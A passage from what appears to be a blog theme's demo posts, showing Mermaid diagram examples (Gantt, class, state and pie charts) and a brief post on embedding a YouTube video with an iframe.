        WebApp->>User: Prompt Re-entry
    end

Gantt Chart Example

Gantt charts are perfect for displaying project schedules and timelines.

gantt
    title Website Development Project Timeline
    dateFormat  YYYY-MM-DD
    axisFormat  %m/%d
    
    section Design Phase
    Requirements Analysis      :a1, 2023-10-01, 7d
    UI Design                 :a2, after a1, 10d
    Prototype Creation        :a3, after a2, 5d
    
    section Development Phase
    Frontend Development      :b1, 2023-10-20, 15d
    Backend Development       :b2, after a2, 18d
    Database Design           :b3, after a1, 12d
    
    section Testing Phase
    Unit Testing              :c1, after b1, 8d
    Integration Testing       :c2, after b2, 10d
    User Acceptance Testing   :c3, after c2, 7d
    
    section Deployment
    Production Deployment     :d1, after c3, 3d
    Launch                    :milestone, after d1, 0d

Class Diagram Example

Class diagrams show the static structure of a system, including classes, attributes, methods, and their relationships.

classDiagram
    class User {
        +String username
        +String password
        +String email
        +Boolean active
        +login()
        +logout()
        +updateProfile()
    }
    
    class Article {
        +String title
        +String content
        +Date publishDate
        +Boolean published
        +publish()
        +edit()
        +delete()
    }
    
    class Comment {
        +String content
        +Date commentDate
        +addComment()
        +deleteComment()
    }
    
    class Category {
        +String name
        +String description
        +addArticle()
        +removeArticle()
    }
    
    User "1" -- "*" Article : writes
    User "1" -- "*" Comment : posts
    Article "1" -- "*" Comment : has
    Article "1" -- "*" Category : belongs to

State Diagram Example

State diagrams show the sequence of states an object goes through during its life cycle.

stateDiagram-v2
    [*] --> Draft
    
    Draft --> UnderReview : submit
    UnderReview --> Draft : reject
    UnderReview --> Approved : approve
    Approved --> Published : publish
    Published --> Archived : archive
    Published --> Draft : retract
    
    state Published {
        [*] --> Active
        Active --> Hidden : temporarily hide
        Hidden --> Active : restore
        Active --> [*]
        Hidden --> [*]
    }
    
    Archived --> [*]

Pie Chart Example

Pie charts are ideal for displaying proportions and percentage data.

pie title Website Traffic Sources Analysis
    "Search Engines" : 45.6
    "Direct Access" : 30.1
    "Social Media" : 15.3
    "Referral Links" : 6.4
    "Other Sources" : 2.6

Conclusion

Mermaid is a powerful tool for creating various types of diagrams in Markdown documents. This article demonstrated how to use flowcharts, sequence diagrams, Gantt charts, class diagrams, state diagrams, and pie charts. These diagrams can help you express complex concepts, processes, and data structures more clearly.

To use Mermaid, simply specify the mermaid language in a code block and describe the diagram using concise text syntax. Mermaid will automatically convert these descriptions into beautiful visual diagrams.

Try using Mermaid diagrams in your next technical blog post or project documentation - they will make your content more professional and easier to understand!

Include Video in the Posts

Mon, 01 Aug 2022 00:00:00 GMT

Just copy the embed code from YouTube or other platforms, and paste it in the markdown file.

---
title: Include Video in the Post
published: 2023-10-19
// ...
---

<iframe width="100%" height="468" src="https://www.youtube.com/embed/5gIf0_xpFPI?si=N1WTorLKL0uwLsU_" title="YouTube video player" frameborder="0" allowfullscreen></iframe>

YouTube

Bilibili